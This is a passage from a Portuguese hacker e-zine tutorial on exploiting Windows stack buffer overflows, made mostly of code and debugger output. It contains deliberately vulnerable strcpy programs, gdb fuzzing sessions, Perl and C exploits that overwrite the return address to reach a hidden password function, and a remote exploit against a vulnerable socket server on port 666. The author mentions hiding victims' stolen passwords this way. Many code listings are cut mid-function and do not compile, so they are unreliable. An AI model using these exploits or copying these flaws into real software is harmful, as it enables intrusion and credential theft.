pelo buffer1. Se inserirmos apenas 7 bytes no buffer1, ou menos, o conteudo
do segundo buffer sera impresso normalmente.
-- nothing.c --
main (){
-- cut --
-- winki.c --
main (){
-- cut --
Veja que o primeiro buffer e composto por 7 bytes, mas os dados que nos esta-
mos inserindo e multiplo de quatro bytes.
C:\Documents and Settings\David>wink.exe
I didn't see nothing
Esse "detalhe" ficara para meu proximo texto, no qual demonstrarei mais exemplos
de exploracao pela heap do que o primeiro texto que escrevi[2]. E muito importante
que voces saibam que a criacao de um dummy e de um alinhamento (criados pelos gcc)
no stack frame vai depender do tamanho do buffer das variaveis locais utilizadas
-- programa1.c --
/*
*
* There's a bug in this code
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buffer[4];
strcpy (buffer, string);
puts (buffer);
overflow (argv[1]);
return (0);
}
-- cut --
O que esse programa faz (como voce pode ver) e copiar o o primeiro parametro de li-
nha de comando e fazer uma chamada a funcao overflow, no qual recebera esse parame-
tro e armazenara o mesmo na variavel de lista de parametro "string" que por sua vez
tera seu conteudo copiado para a variavel buffer, agora veja onde ocorrer a falha:
char buffer[4];
strcpy (buffer, string);
Repare que o buffer pode suportar 4 bytes, ou seja, e reservado para essa variavel
'4' bytes no stack frame da funcao overflow (no qual os parametros passados a ela
serao alocados), abaixo vera que e copiado o conteudo da variavel string (no qual
armazena os parametros digitados por nos, na linha de comando) para esta variavel,
mas a funcao strcpy() nao faz checagem alguma dos dados que serao alocados na me-
moria (stack frame). O gcc reserva espaco para 4 bytes na area 'buffer' do stack
frame, ou seja, se inserirmos mais de 4 bytes esses bytes adicionais vao sobres-
crevendo os ponteiros no stack frame e se por acaso chegarem ao retorno, o sis-
tema vai ter que retornar o que esta na area RET ADDR no stack frame, ou seja, ele
vai jogar para eip o endereco armazenado na area RETURN ADDR, e assim executando
aquela instrucao (Como eu ja falei). Vejam sobre como injetar um endereco executa-
vel/valido na area 'RETURN ADDRESS' nos proximos capitulos. "Primeiramente" vamos
ver como identificar o overflow e fazer alguns mapas da memoria para cada funcao
que aqui sera debugada.
Execucao do programa1..:
------------------------------------------------------------
|O programa1.exe encontrou um problema e precisa ser fechado.|
------------------------------------------------------------
Essa mensagem pode representar o overflow, como tambem nao pode. Se voce esta
inserindo muito dados em buffers de alguns programas e voce cair nesta mensagem,
a uma grande chance de voce ter descoberto um bug/falha de stack overflow nesse
programa. Repare que primeiramente insiro duas letras 'A' na execucao do progra-
ma, ate ai tudo bem, o programa terminou normalmente, depois inseri 3 A's, tam-
bem nao houve problema algum, pois o buffer suporta 4 bytes (3 + '\0'). Observe
que na ultima execucao inseri:
AAAAAAAAAAAAA
0123456789ABC
|
+---> O buffer suporta dados ate aqui.
Disassemblaremos a mesma:
Agora vamos usar uma tecnica chamada de "fuzzing" para saber quantos bytes
precisaremos para alcancar o endereco de retorno. Essa tecnica foi muito
evoluida, mas aqui nao vamos entrar em detalhes, falarei apenas do basico,
que consiste em injetar em buffers, grandes quantidades de bytes e esperar
alguma mensagem de erro. Macete bem "espartano" eim? Vamos entao "fuzzar"
este programa dentro do gdb:
(gdb) r AAA
Starting program: C:\Documents and Settings\David/programa1.exe AAA
Nem um problema, vejam que o proprio gdb nos mostra que o programa saiu
normalmente. Agora vamos transbordar (overflow) nosso buffer e atraves
dele encostaremos no endereco de retorno do stack frame "Overflow".
(gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y
OK, por incrivel que pareca essa mensagem de erro e boa para nos };P Segmentation
fault
e a mensagem que nos e exibida nos linuxes quando o stack frame retorna para uma
area de
memoria invalida; Nao se esqueca que estamos em uma ferramenta nativa do linux, por
isso
tambem temos essa mensagem. Vejam que interessante, A em ASCII equivale ao 41 em
hexade-
cimal, veja
main (){
Resultado:
41 <--- 0x41
(gdb) i r
eax 0x22ff60 2293600
ecx 0x3d3d60 4013408
edx 0xababab00 -1414812928
ebx 0x4000 16384
esp 0x22ff80 0x22ff80
ebp 0x41414141 0x41414141 <-- ebp sobrescrito
esi 0xdca4f0 14460144
edi 0xd7ea70 14150256
eip 0x41414141 0x41414141 <-- Proxima instrucao.
eflags 0x10246 66118
cs 0x1b 27
(...)
(gdb) r AAAADDDDRRRR
Starting program: C:\Documents and Settings\David/programa1.exe AAAADDDDRRRR
Buffer = A
Base pointer = D
Return addres = R
+--------------+
| buffer[1] | = A ||
+--------------+ ||
+--------------+ ||
| buffer[2] | = A ||
+--------------+ ||
+--------------+ ||
| buffer[3] | = A ||
+--------------+ ||
+--------------+ ||
| buffer[4] | = A ||
+--------------+ ||
+--------------+ ||
| FBP (4 bytes)| = DDDD ||
+--------------+ ||
| RETURN ADDR | = RRRR (0x52) VV
+--------------+
Veja que o endereco de retorno vai retornar o 0x52, que nao e um endereco
valido, alocado na memoria, por isso o signal SIGSEGV e retornado. Vamos
causar o overflow no stack frame de main:
-- main_overflow.c --
char frame[16];
strcpy (frame, argv[1]); // <- Copia o que nos digitarmos para a \
variavel frame (sem controle).
-- cut --
Repare acima que esta faltando 1 unico byte para completar os 4 que compoem o
endereco
de retorno. Entao apenas precisariamos inserir mais um 'R'
(gdb) r AAAAAAAAAAAAAAAADDDDDDDDBBBBRRRR
The program being debugged has been started already.
Start it from the beginning? (y or n) y
+--------------+
| buffer[0] | = A ||
+--------------+ ||
+--------------+ ||
| buffer... | = A ||
+--------------+ ||
+--------------+ ||
| buffer[16] | = A ||
+--------------+ ||
+--------------+ ||
| Dummy (8) | = DDDDDDDD ||
+--------------+ ||
+--------------+ ||
| FBP (4 bytes)| = FFFF ||
+--------------+ ||
| RETURN ADDR | = RRRR (0x52) VV
+--------------+
^
|
|
+---> O stack frame retornara para RRRR (SIGSEGV)
Bem, para esse primeiro exemplo de "exploracao" de stack overflow, nao mostrarei a
utilizacao de shellcode, por hora voce apenas sabera como controlar o endereco de
retorno para o mesmo retornar a algum lugar na memoria. Bem, a tecnica de explora-
cao local pode ter varias utilidades, eu costumava esconder uma funcao no qual
me mostrava minhas senhas e das vitimas que hackiava, em alguns programas, eram
centenas de senhas e ainda nao havia memorizado todas, quando queria visualiza-las
explorava localmente a aplicacao cobaia e fazia o RETURN retornar a minha funcao
oculta, e assim fazendo com que o programa apresentasse-me as senhas.
Exemplo:
-- show_passwords.c --
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char *password[] = {
int i=0;
while (i != 2){
fputs (password[i], stdout);
++i;}
exit (0);
}
function_vuln (argv[1]);
return 0;
}
char buffer[16];
strcpy (buffer, string); // <- A falha esta aqui.
else
puts ("\n\nWell, well, well -> FuCk\n");
-- cut --
Passo 1..:
Resultado..:
Thank'x man
Este programa pergunta se o usuario quer dar agua a ele (lol), se o usuario
digitar sim, ele diz "obrigado", caso contrario o usuario recebe uma mensa-
gem de erro. Veja que em nenhum momento e feito qualquer chamada a funcao
show_pass (). Vejamos onde esta a falha:
Como ja falei, strcpy() nao faz checagem alguma dos dados que serao copiados
para o buffer de destino. E atraves desta falha que vamos explorar esse pro-
grama e fazer o endereco de retorno retornar para o local na memoria que
queremos. Antes de explorarmos a aplicacao acima, escreverei outra aplicacao
bugada para mostrar a exploracao de programas que recebem o parametro
argument count e argument values.
-- exploit-me_v1.0.c --
char *password[] = {
"Email: test@testing.com \n",
"Pass : this_is_a_test"
};
-- cut --
C:\>gdb exploit-me_v1.0.exe -q
(gdb) disass show_pass
Dump of assembler code for function show_pass:
0x401290 <show_pass>: push %ebp
0x401291 <show_pass+1>: mov %esp,%ebp
0x401293 <show_pass+3>: sub $0x8,%esp
0x401296 <show_pass+6>: movl $0x403000,0xfffffff8(%ebp)
0x40129d <show_pass+13>: movl $0x40301a,0xfffffffc(%ebp)
0x4012a4 <show_pass+20>: leave
0x4012a5 <show_pass+21>: ret
End of assembler dump.
(gdb) q
C:\>
-- first_exploit.pl --
####################################################
### O primeiro exploit voces nunca vao esquecer ;) #
####################################################
my $RET = "\x90\x12\x40\x00";
my $exploit =$Buffer.$Dummy.$FBP.$RET;
print $exploit;
C:\>first_exploit.pl
AAAAAAAAAAAAAAAADDDDDDDDBBBBÉ?@
Email: test@testing.com
Pass : this_is_a_test
C:\>
owned! huhuhu (sndMas rlz ;). OK. The program has been exploited. We
have total control of the return address.
================================
Exploitando o show password v1.0
================================
(...)
O resto das instrucoes nao nos importam, o que queremos e o endereco inicial
desta funcao. Que eh: 0x'401290'. Como vimos anteriormente para a exploracao
de buffers de 16 bytes precisariamos de '16' bytes para lotar a area que foi
reservada para esse buffer no stack frame, os 8 bytes de dummy mais os 4 do
FBP (ebp). Entao podemos inferir que devemos inserir o endereco 0x401290 na
area RET do stack frame. Vamos fazer logo esse exploit em C:
-- exploit_for_SPv1.c --
/*
*
* Exploit for to exploit a flaw in the
* Show Passwords v0.1
*
* Bug discovered by 6_Bl4ck9_f0x6 :)
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
main (){
-- cut here --
C:\>exploit_for_SPv1.exe
Resultado..:
Thank'x man
Email: test@testing.com
Pass : this_is_a_test
C:\>
Simples, nao? Existe a classe dos que ensinam e a classe dos que gostam
de aparecer (White Corja Poser Brasileira).
-- fox_server.c --
/*
*
* Aprendam uma coisa de uma vez por todas:
* A rede globo eh a maior ;)
*
* <- Tava devendo essa ->
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#include <winsock2.h>
#define BACKLOG 5
#define PORT 666
WSADATA data;
struct sockaddr_in local_bind, server;
login_ ();
}
login_ (){
else{
send (SoCkII, "\nLogin invalido...", strlen ("\nLogin invalido..."), 0x00);
Sleep (3000);
send (SoCkII, "\nEstou te rastreando... Buu\n\n", \
strlen ("\nEstou te rastreando... Buu"), 0x00);
WSACleanup();
closesocket (SoCk);
}
-- cut --
Nao me preocupei muito com organizacao, portanto nao me mandem emails falando
que o server nao ta bonitinho rsrs. Ah! Os testes abaixo foram feitos com o
seguintes buffers:
Login:
Ele espera eu digitar um login. O login que nao precisa de senha e meu
nick: 6_Bl4ck9_f0x6 . Se voce digitar outro acontece isso:
-- cut --
Login:
Obtruder
Login invalido...
Estou te rastreando... Buu
-- cut --
char buffer[60];
strcpy (buffer, username);
-- cut --
Login:
6_Bl4ck9_f0x6
-- cut --
Vamos rodar o servidor dentro do debug.
Veja melhor:
Login:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAA
Login invalido...
Estou te rastreando... Buu
Login:
AAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBCCCCCCCCCCCCCCDDDDDDDDDDDDDD
Login invalido...
Estou te rastreando... Buu
Login:
AAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBCCCCCCCCCCAAAADDDDDDRRRR
Login invalido...
Estou te rastreando... Buu
C:\Documents and Settings\David>
Yeah! Yeah! Yeah! Veja acima que o RET comeca a ser sobrescrito deste ponto:
AAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBCCCCCCCCCCAAA [ ADDDDDDRRRR ]
|
+-- > Here!
Login:
AAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBBCCCCCCCCCRRRRADDDDDDRRRR
|__|
|
+-- > RETURN ADDRESS
-- fox_server_exploit.c --
/*
*
* Simples exploit para fazer o programa vulneravel
* retornar a um endereco de memoria.
*
* Coded by 6_Bl4ck9_f0x6
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#define NOP 0x90
WSADATA data;
SOCKADDR_IN server;
int len=sizeof (server);
main (){
server.sin_family = AF_INET;
server.sin_port = htons (666);
server.sin_addr.s_addr = inet_addr ("192.168.1.1");
memset (&server.sin_zero, 0x00, 0x08);
closesocket (SoCk);
system ("pause");
-- cut --
ret[]="\x90\x12\x40";
-- cut --
if ( (connect (SoCk, (struct sockaddr *)&server, sizeof (SOCKADDR_IN))) ==
SOCKET_ERROR){
fprintf (stdout, "\n[Porta fechada]\n");
return (0);}
-- cut --
-- cut --
-- cut --
Sending exploit...
Pressione qualquer tecla para continuar. . .
E o resultado eh este:
Hi 6_Bl4ck9_f0x6
=========================================================
+ http://www.hunterhacker.xpg.com.br/exploited.JPG +
=========================================================
Um critico natural, amante da beleza feminina, amante das coisas boas da vida,
alguem que pretende ter familia, ter alguem pra quem deixar o que aprendeu.
Alguem que as unicas coisas que quer e privacidade e felicidade, alguem que nao
entende porque as pessoas possuem muito poder, alguem que nao entende porque as
pessoas menores se deixam obedecer, alguem que espera...
=====================================================================
Course of C Part 4 - Final Version. Written for my e-zine (C.O.D.E).
[1] - http://www.blackhat-forums.com/index.php?showtopic=8574
=====================================================================
Exploiting Heap Overflow in the windows without mistery
[2] - http://www.hunterhacker.xpg.com.br/Heap_Overflow.txt
=====================================================================
Stack/buffer overflow by blackwinner
[3] - http://www.forum.darkers.com.br/index.php?
topic=9941.msg44462;topicseen#msg44462
=====================================================================
Difference Between AT&T and Intel Assembly Syntax
[4] - http://www.w00w00.org/files/articles/att-vs-intel.txt
=====================================================================
Tutorial Basico do gcc e entendendo as etapas de compilacao
[5] - http://www.hunterhacker.xpg.com.br/gcc_tuto_1.txt
=====================================================================
"O ser mais perigoso e aquele que nao representa perigo algum."
[]`s
by
# milw0rm.com [2009-05-08]